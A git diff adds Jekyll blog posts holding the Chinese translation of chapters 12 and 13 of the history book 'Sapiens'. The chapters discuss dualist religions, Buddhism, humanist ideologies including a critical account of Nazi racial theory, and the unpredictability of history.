+多神论除了促成一神教，也促成了一些二元论的宗教。二元论宗教信奉着善与恶这两种对立力量的存在。二元论与一神论不同之处在于，他们相信“恶”也是独立存在，既不是由代表“善”的神所创造，也不归神所掌管。二元论认为，整个宇宙就是这两股力量的战场，世间种种就是两方斗争的体现。 +二元论之所以成为一种深具魅力的世界观，原因就在于人类有一个挥之不去的“恶的难题”（Problem of Evil），苦苦无法解决。“为什么世界上会有邪恶？为什么有苦难？为什么会有坏事发生在好人身上？”如果神真的是如此无所不知、无所不能、事事完美，又怎么会允许世界上有这么多的苦难？这让一神论者伤透了脑筋。一种很流行的解释认为，神借着这种方式让人类拥有了自由意志。因为如果没有邪恶，人类就无法在善恶之间做选择，也就没有了自由意志。然而，这种解释非但不直观，还立即引发了许多新的问题。有自由意志，也就代表可以选择邪恶。而且，根据标准的一神论说法，还真有许多人选择了邪恶的道路，于是神不得不施加惩罚。然而，如果神真的能事先知道某个人会用自己的自由意志走上邪恶的道路，而且又会因此受到惩罚，永远在地狱受苦，那么神一开始为什么要创造这个人？神学家为了回答这些问题，已经写了无数著作，有些人觉得已经找到了答案，也有些人觉得差得还远。但无法否认的是，一神论面对“恶的难题”可以说是吃尽苦头。 +对于二元论者来说，之所以好人也可能发生不幸，正是因为掌理世界的不是某个无所不知、无所不能、事事完美的神。世界上仍然有个不受控制的恶，而所有的坏事正是源自它。 +二元论观点还是有些缺漏。虽然它简洁明快地解决了恶的难题，却又碰上了“法则的难题”（Problem of Order）。如果世上就是有善恶两股力量在拉扯，它们拉扯的基础是什么法则？举例来说，如果说两国交战，基础就在于它们存在于同一个时空，而且受同样的物理学法则规范。像是巴基斯坦发射地对地导弹能打到位于印度的目标，是因为物理学法则对双方都同样适用。但如果我们说的是善与恶的互斗，现在又有什么法则来规范？这些法则又是谁订出来的呢？ +相对而言，虽然一神论难以处理恶的难题，但要处理法则的难题却是轻而易举：这个法则就是唯一的神所订出来的。其实，有一种解释能够同时处理这两大难题，而且完全合乎逻辑：世上确实有某个全能的神创造了全宇宙，而且他就是个恶神。只是古往今来，总没有哪个宗教说自己信了这一套。 +* * * +二元论宗教兴盛了千余年。大约在公元前1500年到和公元前1000年之间，中亚有一位名叫琐罗亚斯德（又名查拉图斯特拉）的先知，相当活跃。他的信念代代相传，最后形成了二元论宗教的代表：祆教（Zoroastrianism，又称拜火教）。祆教认为整个世界就是善神阿胡拉·马兹达（Ahura Mazda）和恶神安格拉·曼纽（Angra Mainyu）之间的战争，而在这场战争中，人类必须站在善神这方给予协助。祆教在波斯第一帝国期间（Achaemenid Persian Empire，前550~前350）已经举足轻重，到了波斯第二帝国期间（Sassanid Persian Empire，224~651）更成为国教，几乎影响了所有后来在中东及中亚的宗教，并催生了许多其他二元论的宗教，例如诺斯替教和摩尼教。 +在公元3世纪和4世纪，摩尼教教义涵盖了从中国到北非，还一度形势大好，似乎将取代基督教在古罗马帝国的地位。然而，摩尼教在古罗马输给了基督徒，祆教波斯第二帝国败给了一神论的穆斯林，于是二元论的波澜也逐渐退去。到现在，只剩下印度和中东还有少数人信奉着二元论的宗教。 +然而，就算一神论势力看涨，二元论却未真正消失。犹太教、基督教和伊斯兰教这些一神论宗教吸收了大量的二元论信仰和习俗，许多我们以为是一神论的基本概念，都是出自二元论的本质和精神。例如有无数的基督徒、穆斯林和犹太人都相信有某个强大的邪恶力量（例如基督教的魔鬼或撒旦），他自行其事、与善神作对，兴风作浪不受神的控制。 +如果根据纯粹的一神论，怎么可能会相信这种二元的概念？（顺道一提，《圣经·旧约》里压根就找不到这些情节。）这在逻辑上根本不通。真要合理的话，一来是相信确实有一个全能的神，二来就是要相信有两种对立的力量，而两者都并非全能。然而，尽管如此不合理，人类还是很能接受这种矛盾的概念。因此，我们看到有几百万虔诚的基督徒、穆斯林和犹太人居然能够相信既有全能的神，又有独立行事的魔鬼，倒也不用太过惊讶。更有甚者，无数的基督徒、穆斯林和犹太人居然还能想象善神需要人类的协助，好与魔鬼对抗，由此再推导引发了圣战和十字军东征。 +另一个关键的二元论概念（特别在诺斯替教和摩尼教），就是认为身体和灵魂、物质和精神是有清楚区隔的。诺斯替教和摩尼教认为，善神创造了精神和灵魂，而恶神创造了物质和身体。根据这种观点，人就成了善的灵魂和恶的身体之间的战场。从一神论的角度来看，这完全是无稽之谈，何必要把身体和灵魂或物质与精神做这种区分？又为什么要说身体和物质是恶的呢？毕竟对一神论来说，善神创造一切，而一切都是好的。然而，正因为这种二元论的论点可以帮助他们解决恶的难题，所以一神论还是忍不住接受了这个概念。于是这种对立的概念最后也成了基督教和伊斯兰教思想的基石。此外，如果相信有天堂（善神的国度）和地狱（恶神的国度），这也是一种二元论的概念。《圣经·旧约》里从来没有提过这种概念，也从来没提到人的灵魂会在身体死去后继续存在。 +从历史上来看，一神论就像是个万花筒，承继了一神论、二元论、多神论和泛神论，收纳在同一个神圣论述之下。结果就是，基督徒大致上是信奉一神论的上帝，相信二元论的魔鬼，崇拜多神论的圣人，还相信泛神论的鬼魂。像这样同时有着不同甚至矛盾的思想，而又结合各种不同来源的仪式和做法，宗教学上有一个特别的名称：综摄（syncretism）。很有可能，综摄才是全球最大的单一宗教。 +自然法则 +我们目前为止讨论到的所有宗教，都有一个共同的重要特征：相信的都是神灵或是其他超自然对象。然而，世界宗教史并不只是神的历史。在公元前1000年，亚非大陆开始出现全新的宗教及信仰类型。这些新型宗教信仰包括印度的耆那教（Jainism）和佛教，中国的道教和儒教，以及地中海的犬儒主义（Cynicism）和享乐主义（Epicureanism），共同的特征就是崇拜的并非神祇。 +这些信仰也认为有某种超人类秩序控制着这个世界，但它们所崇拜的这个秩序是自然法则，而不是什么神圣的意志。这些自然法则的宗教信仰虽然某些也相信有神祇存在，但认为神祇就和人类、动物和植物一样会受到自然法则的限制。虽然神祇可以说在这个生态系统中有其优势（就算是大象或豪猪，也各有优势），但他们也像大象一样，并无法改变自然的法则。里面典型的例子是佛教，这可以说是最重要的古代自然法则宗教，而且到今天仍然兴盛。 +地图5 佛教的传播。 +佛教的核心人物释迦牟尼不是神而是人，俗名乔达摩·悉达多（Siddhartha Gautama）。根据佛教经典，释迦牟尼大约在公元前500年是个喜马拉雅山区小国的王子，看到身边的人深深陷于苦难之中，而心生不忍。他看到人不分男女老幼，不仅时常受到战争和瘟疫等灾难袭击，还无法免于种种焦虑、沮丧和不满的情绪，似乎这一切都是人生难以避免的事。人类追求财富和权力，获得知识和财富，生儿育女，建起宫殿和房屋。但不论取得多少成就，却仍然无法满足。穷人梦想着要变富，有一百万的想要两百万，有两百万的想要一千万。而且就算真的有钱了、有名了，他们还是不满意，还是有无尽的烦恼和忧虑，无法从生老病死中解脱。至死，一切如梦幻泡影消失，生命就像是毫无意义的追寻。然而，这个轮回该怎样才能跳出？ +在29岁时，释迦牟尼半夜离宫，抛下了财富和家人，流浪走遍印度北部，希望为这一切痛苦寻找出路。他前往各个修院修行，聆听各个大师讲道，但还是无法完全感到解脱，有什么不满依然萦绕。他并未绝望，决心反求诸己，直到找到彻底解决的方法为止。他入禅六年，思索各种人类苦痛的本质、原因和解决方式。最后他体会到，一切苦难并非来自噩运、社会不公或是神祇的任性，而是出于每个人自己心中的思想模式。 +释迦牟尼认为，人遇到事情通常就会产生欲念，而欲念总是会造成不满。遇到不喜欢的事，就想躲开；遇到喜欢的事，就想维持并增加这份愉快。但正因如此，人心就永远不满、永远不安。这点在碰上不悦的时候格外明显，像是感觉疼痛的时候，只要疼痛持续，我们就一直感到不满，用尽办法想要解决。然而，就算是遇上欢乐的事，我们也从不会真正满足，而是一直担心这种欢乐终将结束或是无法再持续或增强。有些人多年来一直在寻找爱情，但等到真的找着了爱情，却还是不满足。有的开始整天担心对方可能会离开；有的又觉得自己太过屈就，应该再找更好的人。（而且，我们也都认识某些人，又担心别人离开，又觉得自己屈就）。 +虽然上天可以赐雨，社会机制可以提供公平正义和卫生保健，有好的运气就可以变成百万富翁，但不论如何，我们的基本心态都不会改变。因此，就算是最伟大的国王也无法避免焦虑，得不断逃避着悲伤和痛苦，也总是想要追寻更多的快乐。 +释迦牟尼找到一种方法可以跳出这种恶性循环。在事物带来快乐或痛苦的时候，重点是要看清事物的本质，而不是着重在它带来的感受，于是就能不再为此所困。虽然感受悲伤，但不要希望悲伤结束，于是虽然仍有悲伤，也能不再为此而困。即使仍然悲伤，也是一种丰硕的经验。虽然感受快乐，但不要希望快乐继续，于是虽然仍有快乐，也能不失去心中的平静。 +但要怎样才能让心里接受事物的本质，而放下种种欲求，知道苦即为苦、乐即为乐？释迦牟尼制定一套冥想的技巧，能够训练心灵感受事物的本质而排除种种欲求。通过训练，心灵专注在“我现在是什么感受？”，而不是问：“为什么是我？”这种境界很难达到，但并非不可能。 +释迦牟尼将冥想落实在各种道德规范上，好让信众更能专注在实际的感受，而不会落入各种欲求和幻想之中。他要求信众不杀生、不邪淫、不偷盗，因为这些作为一定会让欲望如野火燎原，而一心追求权力、感官享受或财富。等到这些火焰彻底扑灭，原本的欲求就换成了圆满和寂静，称为涅槃（梵文的原义就是“熄灭”）。达到涅槃，也就是解脱了所有苦痛，能够无比清晰地感受身边的现实，没有什么幻想和幻象。虽然人们很有可能还是会遇到苦痛，但苦痛已经不再能影响他们。毕竟，无欲则无苦。 +根据佛教经典，释迦牟尼本人就达到了涅槃，从痛苦中完全解脱。而在这之后他就被称为“佛陀”，意为“觉悟者”。接着，佛陀一生前往各地普传佛法，希望让所有人离苦得乐。佛陀的教诲一言以蔽之：痛苦来自欲望；要从痛苦中解脱，就要放下欲望；而要放下欲望，就必须训练心智，体验事物的本质。 +对佛教徒来说，这条“佛法”就是举世皆同的自然法则，“痛苦来自欲望”这件事举世皆同，就像在现代物理里E总是等于MC?。所以，所谓的“佛教徒”，就是相信这条法则，将这条法则落实在一切日常活动中的人。另一方面，是不是信仰某个神灵，对他们来说就不是那么重要。一神论宗教的最高原则是：唯一真神确实存在，那么他想从我这里要什么呢？佛教的最高原则，则是：痛苦确实存在，我该如何逃离呢？ +佛教并不否认有神祇存在，认为他们有强大的神通，能够带来降雨和胜利，然而神祇对于“由欲得苦”这条法则并无能为力。如果能够无欲无求，任何神祇都无法让人感到痛苦。相对而言，如果人有了欲望，任何神祇也无法拯救他脱离痛苦。 +但也如同一神论的宗教，佛教这种前现代的自然法则宗教还是无法摆脱神祇崇拜。佛教告诉信众，他们应该不断追求达到涅槃境界，不要为了名利停下脚步。然而，99%的佛教徒都无法达到这个境界，而且就算他们一心希望最后能达到这个目标，日常生活里多半都还是追求着世俗的成就。于是，佛教徒还是崇拜着各种神祇，像是在印度的佛教徒拜着印度的神，西藏的佛教徒拜着本教（Bon）的神，日本的佛教徒也拜着神道教的神。 + +此外，佛教的几个教派也随着时间发展出满天诸佛菩萨。诸佛菩萨是人也非人，他们已经能够达到涅槃、解脱痛苦，但为了解脱和帮助还在轮回中的芸芸众生，倒驾慈航重入世间。所以，佛教徒崇拜的并不是神祇，而是这些已经开悟而尚未成佛的人，除了希望他们协助达到涅槃的境界，也希望他们帮忙处理一些世俗的问题。于是，我们就看到整个东亚有许多佛菩萨得负责降雨、医病，甚至还得保佑杀敌求胜，而信众也虔心祈祷，为他们焚香，献上各色鲜花、稻米和甜品。 +当崇拜的对象变成了人 +至于各种新型现代教义，因为它们之间并没有明显的界线，我们在此也就不可能一一检视它们的历史。它们“综摄”的情形，并不少于一神论和流行的佛教。就像是佛教也能拜着印度教的神祇，一神论者也能相信撒旦的存在，现在典型的美国人也能既是民族主义者（相信有美国民族存在，而且相信它在历史上有重大作用），又是自由市场资本主义者（相信社会繁荣的最佳方法就是公开竞争、追求自我利益），还是个自由人文主义者（相信造物主赐给人类若干不可剥夺的权利）。民族主义将在第十八章讨论。最成功的现代宗教：资本主义，会在第十六章以专章探讨，阐述其主要信念和仪式。至于本章的其余篇幅，则继续讨论人文主义的宗教。 +有神论的宗教，重点在神的崇拜；至于人文主义宗教，重点就是对人的崇拜，或者讲得更明确，是对智人的崇拜。人文主义的基本信念，就是认为智人是独特的、神圣的，从本质上就与其他所有现代动物有所不同。对人文主义者来说，智人的独特性是世界上最重要的事情，决定了宇宙间一切事物的意义。所谓的“至善”，讲的是对智人好。全球所有其他物种和生命，都只为了智人这一物种的利益而存在。 +虽然所有人文主义者都崇拜人性（humanity），但对于人性的定义却不见得相同。就像是基督教的各个教派对于“神”会有不同定义，人文主义对“人性”的定义，大致上分成三种对立的教派。今天最重要的人文主义学派就是自由人文主义，它认为人性就在于每个个人的自我特质，因此个人自由也就变得神圣不可侵犯。根据这些自由主义者的说法，每个智人都有着人性的神圣本质。正是每个人的内心让全世界有了意义，而且这也是各种道德及政治正当性的来源。如果碰上道德或政治的困境，就该内省、听听自己内心的声音，也就是人性的声音。因此，自由人文主义最重要的诫命就是要保障这种“内心声音”的自由，不受外界的侵扰或伤害。而这些诫命统称为“人权”。 +举例来说，这正是自由主义者反对酷刑和死刑的原因。在近代早期的欧洲，犯下杀人罪的人会被视为违反破坏了宇宙秩序。为了让宇宙回归平衡，对罪犯施以酷刑并公开处决，好让所有人民都看到宇宙已经重返秩序。在莎士比亚和莫里哀的时代，伦敦人和巴黎人最爱的消遣就是现场直击残忍的处决画面。但在今天的欧洲，死刑被看作侵害了人性的神圣。虽然一样是为了维护秩序，现今的欧洲不会对罪犯施以酷刑处决，反而是要以尽可能“人性化”的方式来加以惩罚，才能维护甚至重建人类的尊严。借着昭示凶手的人性，人人都想起了人性的神圣，于是秩序才得以恢复。像这样保护凶手，我们才能改正凶手做错的事。 +虽然自由人文主义将人性神圣化，但并不否认有神的存在，而且它根本就是源自一神论的信念。像是相信每个人的本质自由而神圣，就是直接源于传统基督教相信灵魂自由而永恒的概念。要是没有永恒的灵魂和造物主的概念，自由主义者想要解释究竟个别的智人有何特别，就很难讲得清楚。 +人文主义的另一个重要教派就是社会人文主义。社会主义者认为所谓“人性”是个集体而非个人的概念。因此，他们认为神圣的不是每个个人心中的声音，而是由所有智人这种物种构成的整体。自由人文主义追求的，是尽可能为个人争取更多自由；而社会人文主义追求的，则是让所有人都能平等。对社会主义者来说，“不平等”就代表着偏重人类的某些边际特质，认为这比人类的普遍本质更重要，这样一来可说是对人类神圣性最严重的亵渎。举例来说，如果富人比穷人有特权，就代表重视“金钱”超过了人类的普遍本质（本质上，不论贫富，人类的本质应该全部相同）。 +和自由人文主义一样，社会人文主义也是以一神论为基础。像是人人平等这个概念，就是来自一神论认为在神的面前所有灵魂一律平等。唯一不是来自传统一神论的人文主义教派，就是演化人文主义，以纳粹为最著名的代表。真正让纳粹与其他人文主义教派不同的地方，在于他们深受演化论影响，对“人性”有不同的定义。相对于其他人文主义者，纳粹相信人类并非处处相同，也不是永恒不变，而是一个会进化或退化的物种。人可以进化成超人，也可以退化成非人。 +人文主义宗教：崇拜“人性”的宗教 +自由人文主义 社会人文主义 演化人文主义 +智人拥有独特且神圣的本质，与其他生物有根本上的不同。所谓的“至善”，讲的是对整体人性有好处。 +“人性”是个人的概念，存在于每个智人心中 “人性”是整体的概念，存在于所有智人整体之中 人性”可变，可能退化成非人，也可能进化成超人 +最重要的使命，是保护每个智人内心的自由 最重要的使命，是保护智人这个物种的平等 最重要的使命，是保护人类，避免退化成非人，并且鼓励进化成超人 +纳粹打着保护优秀人种，避免退化的幌子，从事着反人类的勾当。正因如此，纳粹才会主张应该要保护、好好养育雅利安人（Aryan，他们认为这是最进步的智人类型），至于犹太人、吉卜赛人、同性恋者和精神病患这些被认为是退化的智人类型，则必须隔离甚至灭绝。纳粹的辩白是，智人一开始能够胜出，本来就是因为演化留下了这种“较优异”的远古人种，而淘汰了某些“较低劣”的人种，例如尼安德特人就从此消失。一开始，不同的人种不过也就是不同的种族，但后来就走上不同的演化道路。很有可能，这还会再次发生。纳粹认为，智人已经分化出几个不同的种族，各有独特的特质，而雅利安人拥有各种最优秀的特质：理性、美丽、诚信、勤奋。因此，雅利安人拥有让人类进化为超人的潜力。至于像犹太人和黑人这些种族，特质不佳，可以说是现代的尼安德特人。如果让他们任意繁衍甚至还和雅利安人通婚，岂不是污染了整体的人类物种，即将造成智人灭绝吗？ +生物学家已经戳破了纳粹的种族理论。特别是1945年以后的基因研究，已经证明不同人类谱系之间的差异远远小于纳粹的假设。但这些结论只是最近的事，考虑到1933年的科学知识，纳粹当时会这么相信也不难想象。许多西方精英都相信有不同人种的存在，相信白人较为优越，也相信应该要保护、培养这个高贵的种族。像是在许多最具盛名的西方大学里，学者用最新的正统科学方法，发表的研究报告号称证明了白人比起非洲人或印第安人更聪明、更有道德也更具技术。而在华盛顿、伦敦和堪培拉的政治家也一心相信自己必须负责避免白色人种受到玷污堕落，所以得要设下重重限制，避免像中国甚至意大利的人民移居到像是美国和澳大利亚这种“雅利安人”的国家。 +这些立场，就算在新的科学研究发表之后也并未改变。想要造成改变，科学的力量还是远远不及社会和政治。以这个意义来说，希特勒不只把自己送上绝路，也让种族主义跟着一同送葬。在他发动第二次世界大战的时候，他的敌人被迫泾渭分明地区分出“我们”和“他们”。而在这之后，因为纳粹思想就是大张旗鼓地宣扬种族主义，让种族主义在西方再也抬不起头。然而，改变还是需要时间。至少到20世纪60年代，白人至上仍然是美国政治的主流意识形态。限制只有白人才能移居澳大利亚的白澳政策，一直到1973年才废除。澳大利亚原住民要到20世纪60年代才有平等的政治权利，而且大多数还是被认为不足以发挥公民的功能，所以无法在选举中投票。 +图20 一幅纳粹的宣传海报，右边是“纯种雅利安人”，左边是“混种”。纳粹很显然十分崇敬人体，也很害怕低等种族污染人性、让人性堕落。 +纳粹并不是反人性。他们之所以同自由人文主义、人权和共产主义站在对立面，反而正是因为他们推崇人性，相信人类有巨大的潜力。他们顺着达尔文演化论的逻辑，认为必须要通过自然选择淘汰不适合的个人，只留下适者，才能让人类继续生存繁殖。但自由主义和共产主义要保护弱者，不仅让不适者生存了下来，还给了他们繁殖的机会，这样就破坏了自然选择的秩序。如此一来，就算是最适者的人类，也不免被一群堕落的人类淹没，变得越来越趋近不适者，一代代下去就可能导致灭绝。 +一本1942年的德国生物课本，就有一章“自然和人类的法则”，认为自然界的最高法则就是让所有生物都必须在无情的斗争中求生存，讲到植物如何为了土地而奋斗，甲虫如何为了交配而奋斗，最后课本的结论是： +这场生存之战艰辛而无情，但这是让生命延续的唯一道路。这场斗争能够消除一切不适合生存者，并挑选出适合生存的。……这些自然法则不容置疑，目前还存活的生物就是明证。这些生物冷酷无情，抵抗者就会遭到消灭。生物学不只告诉我们关于动植物的事，还告诉我们生活中必须遵守的法则，要坚定我们的志向，依照这些法则生存下去、抵抗下去。生命的意义，就是斗争。对抗这些法则，则终必致祸。 +课本里接着又从希特勒的《我的奋斗》（Mein Kampf）引了一段：“想要违抗自然铁律的人，也就是违抗了那些他应该感谢、让他得以为人的原则。与自然对抗，只会带来人类自己的毁灭。”66 +图21 1933年的纳粹漫画。漫画将希特勒描绘成要创造完美人类的雕塑家。至于旁边戴眼镜的自由主义知识分子，则因为过程中需要用到的暴力而怯怯懦懦无法动手。（也请注意，画中对人体有着情色的崇拜。） +* * * +我们刚刚踏入第三个千禧年，演化人文主义的未来仍未可知。在对抗希特勒的战争结束后的60年间，相关的禁忌挥之不去，没人提出想将人文主义和演化论结合起来、用生物学的方式来让智人“升级”。但到了今天，这种想法已经死灰复燃。虽然已经没有人说要淘汰劣等种族或民族，但许多人正思考着如何利用更先进的人类生物学知识来创造完美的人类。 +但与此同时，自由人文主义和最新的生命科学研究成果之间已经出现一条鸿沟，我们很快就无法再忽视而必须直接面对。我们的自由政治和司法系统之所以存在，是因为相信每个人都有一个神圣、无法分割、无法改变的内在本质，这点让世界有了意义，也是一切道德和政治正当性的来源。但这个概念的前身正是传统的基督教信念：相信每个个人体内都有一个自由而不朽的灵魂。然而，过去两百年间，生命科学已经彻底破坏了这个信念。科学家研究人类这个有机体的内部运作，并未找到灵魂的存在。越来越多科学家认为，决定人类行为的不是什么自由意志，而是荷尔蒙、基因和神经突触——我们和黑猩猩、狼和蚂蚁并无不同。我们的司法和政治制度碰上这些发现，多半是视而不见、不愿面对。但坦白说，现在这面堵在生物学以及法律和政治学之间的墙，究竟还能维持多久？ diff --git a/_posts/2017-01-06-205-sapiens-cp13.md b/_posts/2017-01-06-205-sapiens-cp13.md new file mode 100644 index 0000000..33ec851 --- /dev/null +++ b/_posts/2017-01-06-205-sapiens-cp13.md @@ -0,0 +1,37 @@ +--- +layout: post +title: 第十三章成功的秘密 +pid: 205 +tags: [人类简史：从动物到上帝] +--- +第十三章 +成功的秘密 +商业、帝国和全球性的宗教，最后终于将几乎每个智人都纳入了我们今天的全球世界。这个扩张和统一的过程并不是完全直线发展、一帆风顺。但纵观大局，可以看到从许多小文化到少数大文化再到最后的全球单一文化，应该是人类历史无法避免的结果。 +然而，虽然我们说全球无法避免成为单一文化，但它并不见得会是现在世界上的任何一种文化。我们当然可以想见其他可能性。为什么现在的全球语言是英语而不是丹麦语？为什么世界上有大约20亿基督徒、12.5亿穆斯林，但祆教只有15万人，摩尼教已经完全消失？如果我们能一次又一次回到一万年前，让一切重新开始，是不是一定会看到一神论的兴起、二元论的衰落？ +这种实验非人力可及，所以我们确实无从确定。但我们可以检视历史的两种重要特质，让我们得到一点线索。 +1. 马后炮的谬误 +历史上的每一个时间点，都像是一个十字路口。虽然从过去到现在已经只剩单行道，但到未来却有无数岔路可走。其中某些路比较宽、比较平坦，路标比较明确，所以也是比较可能的选择。然而，历史有时候就是选了一些完全出人意表的道路。 +像是在公元4世纪初，古罗马帝国可以用各种方式解决宗教问题，也可以坚持传统、维持多元多神论的情形。但古罗马当时的皇帝君士坦丁回顾过去一个世纪间无止境的宗教纷扰，似乎是觉得如果能有单一宗教、明确的教义，就能协助他统一各种族。而且，当时可能成为国教的选项众多，像是摩尼教、密特拉教（Mithraism）、崇拜赛贝尔或伊西斯的教派、祆教、犹太教，甚至佛教，都有可能。为什么他最后选了耶稣？是他在哪方面被基督教神学打动？或是基督教有哪方面的教义让他觉得便于利用？是他真的受到什么宗教感召，还是有哪个大臣认为基督教正在迅速扩张，不如赶快搭上顺风车？历史学家虽然可以推测，但无法提供任何明确的答案。他们可以描述基督教“如何”拿下了古罗马帝国，但他们无法解释“为何”能达成这项创举。 +而“如何”和“为何”之间有何不同？描述“如何”的时候，是要重建一连串从一点导致另一点的事件顺序。至于要解释“为何”的时候，则是要找出因果关系，看看究竟为什么发生的是这一连串的事件，而不是另一连串的事件。 +确实，有些学者会针对像是“基督教兴起”这种事件，提出一些斩钉截铁的解释，把人类历史简化成各种生物、生态或经济力量的运作。他们认为古罗马帝国时代的地中海地区在地理、基因或经济方面有些特殊之处，必然促成了一神论宗教兴起。但大多数的史学家对于这种斩钉截铁的理论还是抱持着怀疑。这正是历史成为学科的特点之一：对某个时代的了解越透彻，反而就越难解释为什么发生了这个事件而不是那个事件。但如果对某个时期只是一知半解，就很容易受到结果影响，只看到那些最后成真的可能性。于是，他们就用后见之明来解释着为什么现在的结果无法避免。必须要真正更深入了解这些时期，才能真正看到那些最后并未发生的可能结果。 +事实上，真正最知道当时情况的人（也就是活在当时的人），正是最看不出历史走向的人。像是对于在君士坦丁统治下的一般古罗马人来说，未来就像是雾里看花。历史的铁则就是：事后看来无可避免的事，在当时看来总是毫不明显。直到今天，情况仍是如此。我们已经走出全球经济危机了吗？还是前面还有更大的打击？中国会不会继续成长、成为全球第一的超级大国？美国会不会丧失霸主地位？一神论基本教义派是会成为全球未来的风潮，又或不过是地方的小骚动，在未来不值一哂？我们走向的是生态的灾难还是科技的天堂？以上所有结果背后都有一套很完整的论述，但我们就是无法确定何者将成真。但如果过了几十年后再回顾，我们就会觉得答案真是太明显了。 +特别要强调的是，那些在当代看来最不可能发生的事，常常就是最后成真的事。君士坦丁大帝在公元306年即位的时候，基督教不过就是个神秘的东方教派。如果当时有人说基督教会成为古罗马的国教，一定会引来哄堂大笑，就像是说印度教克里须那教派在2050年会成为美国的国教一样荒诞无稽。在1913年10月，布尔什维克党还只是一个很小的俄国激进党派。任何理性的人都想不到，不过短短4年后，他们就接掌了俄国。在公元600年，如果说一小群住在沙漠里的阿拉伯部落会征服从大西洋到印度的辽阔土地，更是如痴人说梦。而事实上，如果当时拜占庭军队能够抵抗住第一波猛攻，伊斯兰教很有可能至今仍然只是个边缘的异教组织，只有一小群的信众。在这种时候，如果学者要解释为什么某个中年麦加商人得到的天启没能成为热门信仰，简直是再简单不过了。 +但这也不是说一切都有可能发生。地理、生物和经济力量确实会造成限制。但限制下仍然有许多发展空间，目前还没有什么确实加以制约的法则。 +对于许多希望看到历史必然性的人来说，这种说法大概有些令人失望。毕竟，宿命论的引人之处，就在于觉得这个世界和我们的信念都是历史上自然且必然的产物。于是，我们似乎是自然而然就发展出民族国家，自然而然就遵循着资本主义经济原则，也是自然而然地坚信着人权的概念。如果承认历史并非必然，等于就是承认了现在的民族主义、资本主义和人权都只是巧合的产物。 +然而，历史就是这样的一团混沌，历史就是无法解释得斩钉截铁，无法预测得十拿九稳。在同一时间，有多方力量互相影响、互相牵制，只要某方力量有了极小的改变，结果就会有巨大的不同。不仅如此，历史还是所谓的“二级”混沌系统。混沌系统分成两级，一级混沌指的是“不会因为预测而改变”。例如天气就属于一级混沌系统。虽然天气也是受到无数因素影响，但我们可以建立计算模型，不断加入越来越多因素，让天气预报也越来越准确。 +至于二级混沌系统，指的是“会受到预测的影响而改变”，因此就永远无法准确预测。例如市场就属于二级混沌系统。假设我们开发出了一个计算机程序，能够完全准确预测明天的油价，情况会如何？可以想见，油价会立刻因应这个预测而波动，最后也就不可能符合预测。例如，假设目前石油价格是每桶90美元，而这个绝对准确的程序预测明天会涨到100美元，商人就会立刻抢进，好在预期的涨价中获利。但结果就是油价会在今天就涨到100美元，而不是明天。那明天究竟会如何？这件事就没人知道了。 +同样，政治也属于二级混沌系统。很多人批评研究苏联的学者没能预测到1989年的苏联解体，也嘲笑中东专家没想到2011年会爆发阿拉伯之春革命。但这是不公平的。从定义上，革命就是无法预测。如果真能预测有革命，革命就永远不会成真。 +原因何在？假设在2010年，有某些天才政治学者与某个计算机鬼才合作，开发出某种绝对准确的算法还有个漂亮的界面，号称能够预测是否发生革命。于是，他们向埃及总统穆巴拉克兜售这项服务，换取了一大笔可观的酬劳，告诉穆巴拉克，他们预测来年在埃及必然爆发大规模革命。穆巴拉克会如何反应？最有可能的是他会立刻降税，用数十亿美元补助人民，顺便也大幅加强秘密警察部队，以防万一。于是，这一切的准备工作发挥了效果。一年很快就过去，而且没有发生革命，真是太让人意想不到了，不是吗？于是，穆巴拉克要求退款。他向科学家大吼大叫：“你这套算法是骗人的！要不是你这套东西，我才不会把钱都拱手让人，我大可多盖一座宫殿！”科学家会辩白道：“可是，正是因为我们预测到了，革命才没有发生啊。”“你是说，你们预测到了，只是没有发生？”穆巴拉克一边说，一边示意叫警卫把他们全部抓起来。“这种神棍，开罗的市场到处都有。” + +这么说来，究竟为什么要学历史？历史不像是物理学或经济学，目的不在于做出准确预测。我们之所以研究历史，不是为了要知道未来，而是要拓展视野，要了解现在的种种绝非“自然”，也并非无可避免。未来的可能性远超过我们的想象。举例来说，研究欧洲人究竟是如何控制了非洲人，我们就知道种族歧视绝非自然或无可避免，而且知道世界大有可能是完全不同的样貌。 +2. 盲目的历史女神克丽欧 +虽然我们无法解释历史做出的选择，但有一点可以确定：历史的选择绝不是为了人类的利益。随着历史演进，毫无证据显示人类的福祉必然提升。没有任何证据，证明对人类有益的文化就会成功扩张，而对人类无情的文化就会消失。没有任何证据，证明基督教是比摩尼教更好的选择，或证明阿拉伯帝国比波斯帝国对人类更有利。 +没有任何证据，证明历史是为了人类的利益而进展；而原因就在于“利益”并没有客观的衡量标准。不同的文化对于“善”的定义不同，而且并没有客观标准可以决定何者为佳。当然，胜利者永远相信自己的定义才正确。但我们又为什么要相信他们呢？基督徒相信，基督教击败摩尼教对全人类有益；但如果我们不接受基督教的世界观，就没有理由同意他们的想法。穆斯林也认为，穆斯林攻下波斯帝国对人类有益；但也只有在我们接受穆斯林世界观的前提下，才会觉得确实如此。很有可能，如果基督教和伊斯兰教都彻底消失，人类生活反而更好。 +甚至还有学者认为，文化就像是精神感染或寄生虫，而人类就是毫不知情的宿主。寄生虫或病毒就是这样住在宿主体内，繁殖、传播，从一个宿主到另一个宿主，夺取养分，让宿主衰弱，有时甚至丧命。只要宿主能够活着让寄生虫继续繁衍，寄生虫就很少关心宿主的情形。至于文化，其实也是以这种方式寄生在人类的心中。它们从一个宿主传播到另一个宿主，有时候让宿主变得衰弱，有时候甚至让宿主丧命。任何一个文化概念（像是基督教在天上的天堂），都可能让某个人毕生致力于传播这种想法，甚至为此牺牲生命。于是，人类死亡了，但想法持续传播。根据这种说法，文化并不是某些人为了剥削他人而设计出的阴谋，而是因为种种机缘巧合所出现的心理寄生虫，从出现之后就开始剥削所有受到感染的人。 +这种说法有时称为“迷因学”（memetics）。迷因学假设，就像是生物演化是基于“基因”这种有机信息单位的复制，文化演化则是基于“迷因”（meme）这种文化信息单位的复制。67而所谓成功的文化，就是特别善于复制其迷因，而丝毫不论这对于其人类宿主的成本或利益。 +多数人文学者看不起迷因学，认为这只是非专业人士用了一个粗糙的生物学模拟，试图解释文化的进程。然而，同样这批人文学者却有许多人拥抱了迷因学的双胞胎兄弟：后现代主义。对后现代主义思想家来说，文化的基石不是迷因，而是“话语”。只是他们也同意，文化传播时并不考虑人类的利益。例如，后现代主义思想家将民族主义形容成一种致命的瘟疫，于19世纪到20世纪在全世界流传，引起战争、压迫、仇恨和种族灭绝。只要有某个国家的人受到感染，邻国的人就也有可能感染这种病毒。虽然民族主义病毒让自己看起来对全人类有利，但其实主要还是对自身有利。 